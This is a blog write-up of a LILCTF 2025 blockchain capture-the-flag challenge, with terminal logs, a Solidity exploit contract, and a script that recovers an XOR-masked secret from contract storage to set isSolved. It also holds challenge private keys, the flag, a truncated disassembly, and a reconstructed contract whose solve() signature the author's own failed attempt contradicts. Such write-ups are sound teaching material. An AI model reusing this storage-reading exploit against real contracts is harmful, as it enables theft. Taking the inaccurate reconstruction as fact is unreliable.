TypechoJoeTheme

霍雅的博客

登录
用户名
密码
/
注册
用户名
邮箱

LILCTF2025 POFP wp

2025-08-18
/
0 评论
/
715 阅读
/
正在检测是否收录...
08/18

2025LiLCTF

 

总积分图

 

定榜排名

 

队伍信息

BlockChain

生蚝的宝藏

解题1(主要解题):
RPC: http://106.15.138.99:8545/
faucet: http://106.15.138.99:8080/


[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement

[-] input your choice: 1
[+] deployer account: 0x254c1E2f05c5916C7EDa8952B27E43afc19cB17C
[+] token: v4.local.zhAFKIjrgquxxve6jJwIn5x3IYFFgCw0D4Ikqh5X8-N_IuTX_Q9kPOs0sGSe54ppXLtS5FZZ7184zsJPmTM43xyAwFtC7sDu2GZXKxRBqJrTQ7LU7ICFBFYrmPXFaWZH2eYvM_f0-eHWf8BeJgoOBkr_2tNoc5Q5QOeky9dcrGxKPA.T3lzdGVyVHJlYXN1cmU

[-] input your choice: 2
[-] input your token: v4.local.zhAFKIjrgquxxve6jJwIn5x3IYFFgCw0D4Ikqh5X8-N_IuTX_Q9kPOs0sGSe54ppXLtS5FZZ7184zsJPmTM43xyAwFtC7sDu2GZXKxRBqJrTQ7LU7ICFBFYrmPXFaWZH2eYvM_f0-eHWf8BeJgoOBkr_2tNoc5Q5QOeky9dcrGxKPA.T3lzdGVyVHJlYXN1cmU
[+] contract address: 0x8c98AFE6EEe634968eeAfB370C4cE6A339D16dF7
[+] transaction hash: 0x48a1fb6898e38f4ae1227568e4fb75efdfcca0910d029fb1d8368a5030108d59

[kaqi ~] cast balance 0x40d337cb0CD2528674140718De019639aAA87Bed --rpc-url http://106.15.138.99:8545/
999205787994440516

[kaqi ~] cast wallet new
Successfully created new keypair.
Address:     0x09F3b4Be3354eD57C03BE50abEfD844F97a0b5B6
Private key: 0x5619a8f9524544f10f305f2a40b0e83d7433c4be3c77be67af10f1c7f99698d8

# 在 faucet 领钱
[kaqi ~] cast balance 0x09F3b4Be3354eD57C03BE50abEfD844F97a0b5B6 --rpc-url http://106.15.138.99:8545/
0
[kaqi ~] cast balance 0x09F3b4Be3354eD57C03BE50abEfD844F97a0b5B6 --rpc-url http://106.15.138.99:8545/
1000000000000000000

export RPC=http://106.15.138.99:8545/
export TARGET=0x8c98AFE6EEe634968eeAfB370C4cE6A339D16dF7   # nc 2 返回的合约地址
export PK=0x5619a8f9524544f10f305f2a40b0e83d7433c4be3c77be67af10f1c7f99698d8   # 新钱包的私钥

[kaqi ~] vim foundry.toml
[kaqi ~] cat foundry.toml
[profile.default]
solc_version = "0.8.19"
evm_version  = "istanbul"
[kaqi ~] mkdir src
[kaqi ~] vim src/Exploit.sol
[kaqi ~] cat src/Exploit.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

contract Exploit {
    bytes4 private constant SOLVE_SELECTOR = 0x5cc4d812;

    function attack(address target, bytes calldata payload) external {
        bytes memory data = abi.encodeWithSelector(SOLVE_SELECTOR, payload);
        (bool ok, ) = target.call(data);
        require(ok, "call failed");
    }
}


[kaqi ~] forge build
[⠊] Compiling...
[⠒] Compiling 1 files with Solc 0.8.19
[⠢] Solc 0.8.19 finished in 17.11ms
Compiler run successful!

[kaqi ~] forge create src/Exploit.sol:Exploit \
  --rpc-url $RPC \
  --private-key $PK \
  --broadcast
[⠃] Compiling...
No files changed, compilation skipped
Deployer: 0x09F3b4Be3354eD57C03BE50abEfD844F97a0b5B6
Deployed to: 0x1Aa148Ba4A77ccfA49FEFa67DDf4D4555677BB1C
Transaction hash: 0x7bfc8d5957e644b7f9733fe7e70772a0695604fd80899a8900c8dd8a5aae06d4

[kaqi ~] ls
cache  foundry.toml  out  src  w1.sh  w2.sh  w.sh
[kaqi ~]
[kaqi ~] cat w2.sh
#!/usr/bin/env bash
set -euo pipefail

RPC="http://106.15.138.99:8545/"
TARGET="0x8c98AFE6EEe634968eeAfB370C4cE6A339D16dF7"
EXPLOIT="${EXPLOIT:-0x1Aa148Ba4A77ccfA49FEFa67DDf4D4555677BB1C}"
PK="0x5619a8f9524544f10f305f2a40b0e83d7433c4be3c77be67af10f1c7f99698d8"
GAS_LIMIT=250000

echo "[*] RPC     = $RPC"
echo "[*] TARGET  = $TARGET"
echo "[*] EXPLOIT = $EXPLOIT"

# bytes/strings 长度>=32时:数据从 keccak256(slot) 开始
S0="0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563"
S1="0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e564"

# 读两个连续槽
W0=$(cast storage "$TARGET" "$S0" --rpc-url "$RPC")
W1=$(cast storage "$TARGET" "$S1" --rpc-url "$RPC")
echo "[*] W0 = $W0"
echo "[*] W1 = $W1"

# 计算正确的 transformation_key(12B),并生成两种 payload 备选
python - "$W0" "$W1" <<'PY' > /tmp/_payloads.txt
import sys

w0 = bytes.fromhex(sys.argv[1][2:])
w1 = bytes.fromhex(sys.argv[2][2:])

# 原始常量(来自 PUSH12):0x35b2bcaf9b9b9b1c1a331ab3
CONST = int("35b2bcaf9b9b9b1c1a331ab3", 16)

# 字节码里做了:左移 0xa1 (=161) 位,然后取 256-bit 低位(mod 2^256)
K = (CONST << 161) & ((1<<256)-1)
k32 = K.to_bytes(32, 'big')

# 循环使用“前 12 字节”作为真正异或的 key
k12 = k32[:12]

def xor_cycle(data, key):
    out = bytearray(len(data))
    for i, b in enumerate(data):
        out[i] = b ^ key[i % len(key)]
    return bytes(out)

# secret 的两种常见拼接(根据存储对齐):
secretA = w0 + w1[:14]     # 第二槽取前14字节
secretB = w0 + w1[-14:]    # 第二槽取后14字节

payA = "0x" + xor_cycle(secretA, k12).hex()
payB = "0x" + xor_cycle(secretB, k12).hex()

print(payA)
print(payB)
PY

PA=$(sed -n '1p' /tmp/_payloads.txt)
PB=$(sed -n '2p' /tmp/_payloads.txt)
echo "[*] payloadA = $PA"
echo "[*] payloadB = $PB"

# 试 A
echo "[*] Try A..."
set +e
cast send "$EXPLOIT" "attack(address,bytes)" "$TARGET" "$PA" \
  --rpc-url "$RPC" --private-key "$PK" --gas-limit "$GAS_LIMIT" >/dev/null
set -e
A=$(cast call "$TARGET" "isSolved()(bool)" --rpc-url "$RPC" || echo false)
echo "    isSolved: $A"

# 试 B
if [ "$A" != "true" ]; then
  echo "[*] Try B..."
  set +e
  cast send "$EXPLOIT" "attack(address,bytes)" "$TARGET" "$PB" \
    --rpc-url "$RPC" --private-key "$PK" --gas-limit "$GAS_LIMIT" >/dev/null
  set -e
  B=$(cast call "$TARGET" "isSolved()(bool)" --rpc-url "$RPC" || echo false)
  echo "    isSolved: $B"
fi

[kaqi ~] ./w2.sh
[*] RPC     = http://106.15.138.99:8545/
[*] TARGET  = 0x8c98AFE6EEe634968eeAfB370C4cE6A339D16dF7
[*] EXPLOIT = 0x1Aa148Ba4A77ccfA49FEFa67DDf4D4555677BB1C
[*] W0 = 0x5f504a6b020400000253030558544c390002005d025206555c574c3904000000
[*] W1 = 0x0253000058504f6a0306055e0302000000000000000000000000000000000000
[*] payloadA = 0x34353334353336383635366333313566373536653634333337323566333736383635356633353635343133663764
[*] payloadB = 0x3435333435333638363536633331356637353665363433333732356633373638346635666b65795f373736383466
[*] Try A...
    isSolved: true

[kaqi ~] nc challenge.xinshi.fun 39531
Can you make the isSolved() function return true?

[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[-] input your choice: 3
[-] input your token: v4.local.doz4E2-Q4keCa7a3FuXR25jq06Kkd3hmYrSi5OpX7Ra0xgoP3xnDdeoUMWGGcOusWunv1FYT54uxaAD0u4_pBLdZfWa18A6s0gl9vw84BT7LJm2NStC7Po9pv7L-WcDZI2-ZJw8PJD8c2j3ucDZo8cWJd7WtTNT_v3PHvhF5Lpowow.T3lzdGVyVHJlYXN1cmU
[+] flag: LILCTF{whO_LIvE5_lN_4_5E4Shel1_und3r_7he_5eA?}

分析过程:
解题2:


[kaqi ~] TARGET=0xB08952F474788B4458f493B17D5B0e10Ff8D8B8b
RPC=http://106.15.138.99:8545/
[kaqi ~]
[kaqi ~]

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;

contract ETHFaucet {
    // 固定密钥(合约里硬编码的 12 字节常量)
    bytes constant KEY = hex"35b2bcaf9b9b9b1c1a331ab3";

    // slot 1 的最低字节保存是否已解
    bool private solved;

    // 选择子: 0x64d98f6e
    function isSolved() external view returns (bool) {
        return solved;
    }

    // 选择子: 0x5cc4d812
    // 要求:b 必须等于 a 按 KEY 循环异或后的结果,否则 revert("Wrong Treasure")
    function solve(bytes calldata a, bytes calldata b) external {
        require(a.length == b.length, "Wrong Treasure");
        unchecked {
            uint256 n = a.length;
            for (uint256 i = 0; i < n; ++i) {
                // a[i] XOR KEY[i % KEY.length] 必须等于 b[i]
                if ((uint8(a[i]) ^ uint8(KEY[i % KEY.length])) != uint8(b[i])) {
                    revert("Wrong Treasure");
                }
            }
        }
        solved = true;
    }
}



[kaqi ~] cast wallet new
Successfully created new keypair.
Address:     0x2f825aE7D26dAB944C03530263f9BAad40E62FeF
Private key: 0xc873a459329c32aa49b889631359b91c2657a4398c6c28beca55bcb95ad74252

[kaqi ~] cast balance 0x2f825aE7D26dAB944C03530263f9BAad40E62FeF --rpc-url http://106.15.138.99:8545/
1000000000000000000

[kaqi ~] cast call 0xB08952F474788B4458f493B17D5B0e10Ff8D8B8b "isSolved()(bool)" \
  --rpc-url http://106.15.138.99:8545/
false

[kaqi ~] echo $TARGET
0xB08952F474788B4458f493B17D5B0e10Ff8D8B8b
[kaqi ~] echo $RPC
http://106.15.138.99:8545/

[kaqi ~] cast send $TARGET "solve(bytes,bytes)" \ 0x35b2bcaf9b9b9b1c1a331ab3 \ 0x35b2bcaf9b9b9b1c1a331ab3 \ --rpc-url $RPC \ --private-key 0xc873a459329c32aa49b889631359b91c2657a4398c6c28beca55bcb95ad74252 \ --gas-limit 300000 blockHash 0xb63f1dab129fc9eedae7d83a9b0a10953906036b5918b362a3c0483a9684599f blockNumber 37029 contractAddress cumulativeGasUsed 22294 effectiveGasPrice 1000000007 from 0x2f825aE7D26dAB944C03530263f9BAad40E62FeF gasUsed 22294 logs [] logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 root status 0 (failed) transactionHash 0xeecb62513b05f2fe432a57222fba341ca40d19fa5114d6a7cff99518a79c8f33 transactionIndex 0 type 2 blobGasPrice blobGasUsed to 0xB08952F474788B4458f493B17D5B0e10Ff8D8B8b

解题3:

TO=0x2f825aE7D26dAB944C03530263f9BAad40E62FeF

cast send $TO \
  --value 1wei \
  --rpc-url http://106.15.138.99:8545/ \
  --private-key 0xc873a459329c32aa49b889631359b91c2657a4398c6c28beca55bcb95ad74252 \
  --gas-limit 21000

blockHash            0xea59c0c2c8edbcdf8916be4a0433a0ef2ca8f826e441cb446b819ff49d7c40f5
blockNumber          38410
contractAddress
cumulativeGasUsed    21000
effectiveGasPrice    8
from                 0x2f825aE7D26dAB944C03530263f9BAad40E62FeF
gasUsed              21000
logs                 []
logsBloom            0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status               1 (success)
transactionHash      0x4303331d04c78e2739da3f85cc1c60ac79f1bfe1fbc756b45f2a3f8b79e6fe57
transactionIndex     0
type                 2
blobGasPrice
blobGasUsed
to                   0x2f825aE7D26dAB944C03530263f9BAad40E62FeF

[kaqi ~] cast call $TARGET --data $DATA --from 0x2f825aE7D26dAB944C03530263f9BAad40E62FeF \
  --rpc-url http://106.15.138.99:8545/
Error: server returned an error response: error code -32000: execution reverted
[kaqi ~] cast call $TARGET --data $DATA --from 0x40d337cb0CD2528674140718De019639aAA87Bed \
  --rpc-url http://106.15.138.99:8545/
Error: server returned an error response: error code -32000: execution reverted

KEY = bytes.fromhex("35b2bcaf9b9b9b1c1a331ab3")
a = b"\x00"*12
b = KEY
assert len(a)==len(b)==12
assert all(((a[i] ^ KEY[i % len(KEY)]) == b[i]) for i in range(len(a)))
# 断言通过 -> 逻辑恒成立

[kaqi ~] cast rpc --rpc-url $RPC eth_getStorageAt $TARGET \
0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563 latest
"0x5f504a6b020400000253030558544c390002005d025206555c574c3904000000"
[kaqi ~] cast rpc --rpc-url $RPC eth_getStorageAt $TARGET \
0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e564 latest
"0x0253000058504f6a0306055e0302000000000000000000000000000000000000"

解题4:

pragma solidity ^0.8.9;

contract Exploit {
    function attack(address targetAddress, bytes calldata payload) public {
        (bool success, ) = targetAddress.call(abi.encodeWithSelector(0x5cc4d812, payload));
        require(success, "Final attack call failed");
    }
}


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

contract Exploit {
    bytes4 private constant SOLVE_SELECTOR = 0x5cc4d812;

    function attack(address target, bytes calldata payload) external {
        bytes memory data = abi.encodeWithSelector(SOLVE_SELECTOR, payload);
        (bool ok, ) = target.call(data);
        require(ok, "call failed");
    }
}

解题5:

[kaqi ~] TARGET=0xB08952F474788B4458f493B17D5B0e10Ff8D8B8b
[kaqi ~] RPC=http://106.15.138.99:8545/
[kaqi ~] cast code $TARGET --rpc-url $RPC | tee code.hex

[kaqi ~] cast code $TARGET --rpc-url $RPC | cast disassemble
00000000: PUSH1 0x80
00000002: PUSH1 0x40
00000004: MSTORE
00000005: CALLVALUE
00000006: DUP1
00000007: ISZERO
00000008: PUSH2 0x0010
0000000b: JUMPI
0000000c: PUSH1 0x00
0000000e: DUP1
0000000f: REVERT
00000010: JUMPDEST
00000011: POP
00000012: PUSH1 0x04
00000014: CALLDATASIZE
00000015: LT
00000016: PUSH2 0x0036
00000019: JUMPI
0000001a: PUSH1 0x00
0000001c: CALLDATALOAD
0000001d: PUSH1 0xe0
0000001f: SHR
00000020: DUP1
00000021: PUSH4 0x5cc4d812
00000026: EQ
00000027: PUSH2 0x003b
0000002a: JUMPI
0000002b: DUP1
0000002c: PUSH4 0x64d98f6e
00000031: EQ
00000032: PUSH2 0x0050
00000035: JUMPI
00000036: JUMPDEST
00000037: PUSH1 0x00
00000039: DUP1
0000003a: REVERT
0000003b: JUMPDEST
0000003c: PUSH2 0x004e
0000003f: PUSH2 0x0049
00000042: CALLDATASIZE
00000043: PUSH1 0x04
00000045: PUSH2 0x023a
00000048: JUMP
00000049: JUMPDEST
0000004a: PUSH2 0x006a
0000004d: JUMP
0000004e: JUMPDEST
0000004f: STOP
00000050: JUMPDEST
00000051: PUSH1 0x01
00000053: SLOAD
00000054: PUSH1 0xff
00000056: AND
00000057: PUSH1 0x40
00000059: MLOAD
0000005a: SWAP1
0000005b: ISZERO
0000005c: ISZERO
0000005d: DUP2
0000005e: MSTORE
0000005f: PUSH1 0x20
00000061: ADD
00000062: PUSH1 0x40
00000064: MLOAD
00000065: DUP1
00000066: SWAP2
00000067: SUB
00000068: SWAP1
00000069: RETURN
0000006a: JUMPDEST
0000006b: PUSH2 0x0073
0000006e: DUP2
0000006f: PUSH2 0x0112
00000072: JUMP
00000073: JUMPDEST
00000074: PUSH1 0x40
00000076: MLOAD
00000077: PUSH1 0x20
00000079: ADD
0000007a: PUSH2 0x0083
0000007d: SWAP2
0000007e: SWAP1
0000007f: PUSH2 0x02eb
00000082: JUMP
00000083: JUMPDEST
00000084: PUSH1 0x40
00000086: MLOAD
00000087: PUSH1 0x20
00000089: DUP2
0000008a: DUP4
0000008b: SUB
0000008c: SUB
0000008d: DUP2
0000008e: MSTORE
0000008f: SWAP1
00000090: PUSH1 0x40
00000092: MSTORE
00000093: DUP1
00000094: MLOAD
00000095: SWAP1
00000096: PUSH1 0x20
00000098: ADD
00000099: KECCAK256
0000009a: PUSH1 0x00
0000009c: PUSH1 0x40
0000009e: MLOAD
0000009f: PUSH1 0x20
000000a1: ADD
000000a2: PUSH2 0x00ab
000000a5: SWAP2
000000a6: SWAP1
000000a7: PUSH2 0x0326
000000aa: JUMP
000000ab: JUMPDEST
000000ac: PUSH1 0x40
000000ae: MLOAD
000000af: PUSH1 0x20
000000b1: DUP2
000000b2: DUP4
000000b3: SUB
000000b4: SUB
000000b5: DUP2
000000b6: MSTORE
000000b7: SWAP1
000000b8: PUSH1 0x40
000000ba: MSTORE
000000bb: DUP1
000000bc: MLOAD
000000bd: SWAP1
000000be: PUSH1 0x20
000000c0: ADD
000000c1: KECCAK256
000000c2: EQ
000000c3: PUSH2 0x0103
000000c6: JUMPI
000000c7: PUSH1 0x40
000000c9: MLOAD
000000ca: PUSH3 0x461bcd
000000ce: PUSH1 0xe5
000000d0: SHL
000000d1: DUP2
000000d2: MSTORE
000000d3: PUSH1 0x20
000000d5: PUSH1 0x04
000000d7: DUP3
000000d8: ADD
000000d9: MSTORE
000000da: PUSH1 0x0e
000000dc: PUSH1 0x24
000000de: DUP3
000000df: ADD
000000e0: MSTORE
000000e1: PUSH14 0x57726f6e67205472656173757265
000000f0: PUSH1 0x90
000000f2: SHL
000000f3: PUSH1 0x44
000000f5: DUP3
000000f6: ADD
000000f7: MSTORE
000000f8: PUSH1 0x64
000000fa: ADD
000000fb: PUSH1 0x40
000000fd: MLOAD
000000fe: DUP1
000000ff: SWAP2
00000100: SUB
00000101: SWAP1
00000102: REVERT
00000103: JUMPDEST
00000104: POP
00000105: PUSH1 0x01
00000107: DUP1
00000108: SLOAD
00000109: PUSH1 0xff
0000010b: NOT
0000010c: AND
0000010d: DUP2
0000010e: OR
0000010f: SWAP1
00000110: SSTORE
00000111: JUMP
00000112: JUMPDEST
00000113: PUSH1 0x40
00000115: DUP1
00000116: MLOAD
00000117: DUP1
00000118: DUP3
00000119: ADD
0000011a: SWAP1
0000011b: SWAP2
0000011c: MSTORE
0000011d: PUSH1 0x0c
0000011f: DUP2
00000120: MSTORE
00000121: PUSH12 0x35b2bcaf9b9b9b1c1a331ab3
0000012e: PUSH1 0xa1
00000130: SHL
00000131: PUSH1 0x20
00000133: DUP3
00000134: ADD
00000135: MSTORE
00000136: DUP2
00000137: MLOAD
00000138: PUSH1 0x60
0000013a: SWAP2
0000013b: DUP4
0000013c: SWAP2
0000013d: PUSH1 0x00
0000013f: SWAP1
00000140: PUSH8 0xffffffffffffffff
00000149: DUP2
0000014a: GT
0000014b: ISZERO
0000014c: PUSH2 0x0157
0000014f: JUMPI
00000150: PUSH2 0x0157
00000153: PUSH2 0x0224
00000156: JUMP
00000157: JUMPDEST
00000158: PUSH1 0x40
0000015a: MLOAD
0000015b: SWAP1
0000015c: DUP1
0000015d: DUP3
0000015e: MSTORE
0000015f: DUP1
00000160: PUSH1 0x1f
00000162: ADD
00000163: PUSH1 0x1f
00000165: NOT
00000166: AND
00000167: PUSH1 0x20
00000169: ADD
0000016a: DUP3
0000016b: ADD
0000016c: PUSH1 0x40
0000016e: MSTORE
0000016f: DUP1
00000170: ISZERO
00000171: PUSH2 0x0181
00000174: JUMPI
00000175: PUSH1 0x20
00000177: DUP3
00000178: ADD
00000179: DUP2
0000017a: DUP1
0000017b: CALLDATASIZE
0000017c: DUP4
0000017d: CALLDATACOPY
0000017e: ADD
0000017f: SWAP1
00000180: POP
00000181: JUMPDEST
00000182: POP
00000183: SWAP1
00000184: POP
00000185: PUSH1 0x00
00000187: JUMPDEST
00000188: DUP4
00000189: MLOAD
0000018a: DUP2
0000018b: LT
0000018c: ISZERO
0000018d: PUSH2 0x021b
00000190: JUMPI
00000191: DUP3
00000192: DUP4
00000193: MLOAD
00000194: DUP3
00000195: PUSH2 0x019e
00000198: SWAP2
00000199: SWAP1
0000019a: PUSH2 0x03c2
0000019d: JUMP
0000019e: JUMPDEST
0000019f: DUP2
000001a0: MLOAD
000001a1: DUP2
000001a2: LT
000001a3: PUSH2 0x01ae
000001a6: JUMPI
000001a7: PUSH2 0x01ae
000001aa: PUSH2 0x03e4
000001ad: JUMP
000001ae: JUMPDEST
000001af: PUSH1 0x20
000001b1: ADD
000001b2: ADD
000001b3: MLOAD
000001b4: PUSH1 0xf8
000001b6: SHR
000001b7: PUSH1 0xf8
000001b9: SHL
000001ba: PUSH1 0xf8
000001bc: SHR
000001bd: DUP5
000001be: DUP3
000001bf: DUP2
000001c0: MLOAD
000001c1: DUP2
000001c2: LT
000001c3: PUSH2 0x01ce
000001c6: JUMPI
000001c7: PUSH2 0x01ce
000001ca: PUSH2 0x03e4
000001cd: JUMP
000001ce: JUMPDEST
000001cf: PUSH1 0x20
000001d1: ADD
000001d2: ADD
000001d3: MLOAD
000001d4: PUSH1 0xf8
000001d6: SHR
000001d7: PUSH1 0xf8
000001d9: SHL
000001da: PUSH1 0xf8
000001dc: SHR
000001dd: XOR
000001de: PUSH1 0xf8
000001e0: SHL
000001e1: DUP3
000001e2: DUP3
000001e3: DUP2
000001e4: MLOAD
000001e5: DUP2
000001e6: LT
000001e7: PUSH2 0x01f2
000001ea: JUMPI
000001eb: PUSH2 0x01f2
000001ee: PUSH2 0x03e4
000001f1: JUMP
000001f2: JUMPDEST
000001f3: PUSH1 0x20
000001f5: ADD
000001f6: ADD
000001f7: SWAP1
000001f8: PUSH1 0x01
000001fa: PUSH1 0x01
000001fc: PUSH1 0xf8
000001fe: SHL
000001ff: SUB
00000200: NOT
00000201: AND
00000202: SWAP1
00000203: DUP2
00000204: PUSH1 0x00
00000206: BYTE
00000207: SWAP1
00000208: MSTORE8
00000209: POP
0000020a: DUP1
0000020b: PUSH2 0x0213
0000020e: DUP2
0000020f: PUSH2 0x03fa
00000212: JUMP
00000213: JUMPDEST
00000214: SWAP2
00000215: POP
00000216: POP
00000217: PUSH2 0x0187
0000021a: JUMP
0000021b: JUMPDEST
0000021c: POP
0000021d: SWAP5
0000021e: SWAP4
0000021f: POP
00000220: POP
00000221: POP
00000222: POP
00000223: JUMP
00000224: JUMPDEST
00000225: PUSH4 0x4e487b71
0000022a: PUSH1 0xe0
0000022c: SHL
0000022d: PUSH1 0x00
0000022f: MSTORE
00000230: PUSH1 0x41
00000232: PUSH1 0x04
00000234: MSTORE
00000235: PUSH1 0x24
00000237: PUSH1 0x00
00000239: REVERT
0000023a: JUMPDEST
0000023b: PUSH1 0x00
0000023d: PUSH1 0x20
0000023f: DUP3
00000240: DUP5
00000241: SUB
00000242: SLT
00000243: ISZERO
00000244: PUSH2 0x024c
00000247: JUMPI
00000248: PUSH1 0x00
0000024a: DUP1
0000024b: REVERT
0000024c: JUMPDEST
0000024d: DUP2
0000024e: CALLDATALOAD
0000024f: PUSH8 0xffffffffffffffff
00000258: DUP1
00000259: DUP3
0000025a: GT
0000025b: ISZERO
0000025c: PUSH2 0x0264
0000025f: JUMPI
00000260: PUSH1 0x00
00000262: DUP1
00000263: REVERT
00000264: JUMPDEST
00000265: DUP2
00000266: DUP5
00000267: ADD
00000268: SWAP2
00000269: POP
0000026a: DUP5
0000026b: PUSH1 0x1f
0000026d: DUP4
0000026e: ADD
0000026f: SLT
00000270: PUSH2 0x0278
00000273: JUMPI
00000274: PUSH1 0x00
00000276: DUP1
00000277: REVERT
00000278: JUMPDEST
00000279: DUP2
0000027a: CALLDATALOAD
0000027b: DUP2
0000027c: DUP2
0000027d: GT
0000027e: ISZERO
0000027f: PUSH2 0x028a
00000282: JUMPI
00000283: PUSH2 0x028a
00000286: PUSH2 0x0224
00000289: JUMP
0000028a: JUMPDEST
0000028b: PUSH1 0x40
0000028d: MLOAD
0000028e: PUSH1 0x1f
00000290: DUP3
00000291: ADD
00000292: PUSH1 0x1f
00000294: NOT
00000295: SWAP1
00000296: DUP2
00000297: AND
00000298: PUSH1 0x3f
0000029a: ADD
0000029b: AND
0000029c: DUP2
0000029d: ADD
0000029e: SWAP1
0000029f: DUP4
000002a0: DUP3
000002a1: GT
000002a2: DUP2
000002a3: DUP4
000002a4: LT
000002a5: OR
000002a6: ISZERO
000002a7: PUSH2 0x02b2
000002aa: JUMPI
000002ab: PUSH2 0x02b2
000002ae: PUSH2 0x0224
000002b1: JUMP
000002b2: JUMPDEST
000002b3: DUP2
000002b4: PUSH1 0x40
000002b6: MSTORE
000002b7: DUP3
000002b8: DUP2
000002b9: MSTORE
000002ba: DUP8
000002bb: PUSH1 0x20
000002bd: DUP5
000002be: DUP8
000002bf: ADD
000002c0: ADD
000002c1: GT
000002c2: ISZERO
000002c3: PUSH2 0x02cb
000002c6: JUMPI
000002c7: PUSH1 0x00
000002c9: DUP1
000002ca: REVERT
000002cb: JUMPDEST
000002cc: DUP3
000002cd: PUSH1 0x20
000002cf: DUP7
000002d0: ADD
000002d1: PUSH1 0x20
000002d3: DUP4
000002d4: ADD
000002d5: CALLDATACOPY
000002d6: PUSH1 0x00
000002d8: SWAP3
000002d9: DUP2
000002da: ADD
000002db: PUSH1 0x20
000002dd: ADD
000002de: SWAP3
000002df: SWAP1
000002e0: SWAP3
000002e1: MSTORE
000002e2: POP
000002e3: SWAP6
000002e4: SWAP5
000002e5: POP
000002e6: POP
000002e7: POP
000002e8: POP
000002e9: POP
000002ea: JUMP
000002eb: JUMPDEST
000002ec: PUSH1 0x00
000002ee: DUP3
000002ef: MLOAD
000002f0: PUSH1 0x00
000002f2: JUMPDEST
000002f3: DUP2
000002f4: DUP2
000002f5: LT
000002f6: ISZERO
000002f7: PUSH2 0x030c
000002fa: JUMPI
000002fb: PUSH1 0x20
000002fd: DUP2
000002fe: DUP7
000002ff: ADD
00000300: DUP2
00000301: ADD
00000302: MLOAD
00000303: DUP6
00000304: DUP4
00000305: ADD
00000306: MSTORE
00000307: ADD
00000308: PUSH2 0x02f2
0000030b: JUMP
0000030c: JUMPDEST
0000030d: DUP2
0000030e: DUP2
0000030f: GT
00000310: ISZERO
00000311: PUSH2 0x031b
00000314: JUMPI
00000315: PUSH1 0x00
00000317: DUP3
00000318: DUP6
00000319: ADD
0000031a: MSTORE
0000031b: JUMPDEST
0000031c: POP
0000031d: SWAP2
0000031e: SWAP1
0000031f: SWAP2
00000320: ADD
00000321: SWAP3
00000322: SWAP2
00000323: POP
00000324: POP
00000325: JUMP
00000326: JUMPDEST
00000327: PUSH1 0x00
00000329: DUP1
0000032a: DUP4
0000032b: SLOAD
0000032c: DUP2
0000032d: PUSH1 0x01
0000032f: DUP3
00000330: DUP2
00000331: SHR
00000332: SWAP2
00000333: POP
00000334: DUP1
00000335: DUP4
00000336: AND
00000337: DUP1
00000338: PUSH2 0x0342
0000033b: JUMPI
0000033c: PUSH1 0x7f
0000033e: DUP4
0000033f: AND
00000340: SWAP3
00000341: POP
00000342: JUMPDEST
00000343: PUSH1 0x20
00000345: DUP1
00000346: DUP5
00000347: LT
00000348: DUP3
00000349: EQ
0000034a: ISZERO
0000034b: PUSH2 0x0362
0000034e: JUMPI
0000034f: PUSH4 0x4e487b71
00000354: PUSH1 0xe0
00000356: SHL
00000357: DUP7
00000358: MSTORE
00000359: PUSH1 0x22
0000035b: PUSH1 0x04
0000035d: MSTORE
0000035e: PUSH1 0x24
00000360: DUP7
00000361: REVERT
00000362: JUMPDEST
00000363: DUP2
00000364: DUP1
00000365: ISZERO
00000366: PUSH2 0x0376
00000369: JUMPI
0000036a: PUSH1 0x01
0000036c: DUP2
0000036d: EQ
0000036e: PUSH2 0x0387
00000371: JUMPI
00000372: PUSH2 0x03b4
00000375: JUMP
00000376: JUMPDEST
00000377: PUSH1 0xff
00000379: NOT
0000037a: DUP7
0000037b: AND
0000037c: DUP10
0000037d: MSTORE
0000037e: DUP5
0000037f: DUP10
00000380: ADD
00000381: SWAP7
00000382: POP
00000383: PUSH2 0x03b4
00000386: JUMP
00000387: JUMPDEST
00000388: PUSH1 0x00
0000038a: DUP11
0000038b: DUP2
0000038c: MSTORE
0000038d: PUSH1 0x20
0000038f: SWAP1
00000390: KECCAK256
00000391: PUSH1 0x00
00000393: JUMPDEST
00000394: DUP7
00000395: DUP2
00000396: LT
00000397: ISZERO
00000398: PUSH2 0x03ac
0000039b: JUMPI
0000039c: DUP2
0000039d: SLOAD
0000039e: DUP12
0000039f: DUP3
000003a0: ADD
000003a1: MSTORE
000003a2: SWAP1
000003a3: DUP6
000003a4: ADD
000003a5: SWAP1
000003a6: DUP4
000003a7: ADD
000003a8: PUSH2 0x0393
000003ab: JUMP
000003ac: JUMPDEST
000003ad: POP
000003ae: POP
000003af: DUP5
000003b0: DUP10
000003b1: ADD
000003b2: SWAP7
000003b3: POP
000003b4: JUMPDEST
000003b5: POP
000003b6: SWAP5
000003b7: SWAP9
000003b8: SWAP8
000003b9: POP
000003ba: POP
000003bb: POP
000003bc: POP
000003bd: POP
000003be: POP
000003bf: POP
000003c0: POP
000003c1: JUMP
000003c2: JUMPDEST
000003c3: PUSH1 0x00
000003c5: DUP3
000003c6: PUSH2 0x03df
000003c9: JUMPI
000003ca: PUSH4 0x4e487b71
000003cf: PUSH1 0xe0
000003d1: SHL
000003d2: PUSH1 0x00
000003d4: MSTORE
000003d5: PUSH1 0x12
000003d7: PUSH1 0x04
000003d9: MSTORE
000003da: PUSH1 0x24
000003dc: PUSH1 0x00
000003de: REVERT
000003df: JUMPDEST
000003e0: POP
000003e1: MOD
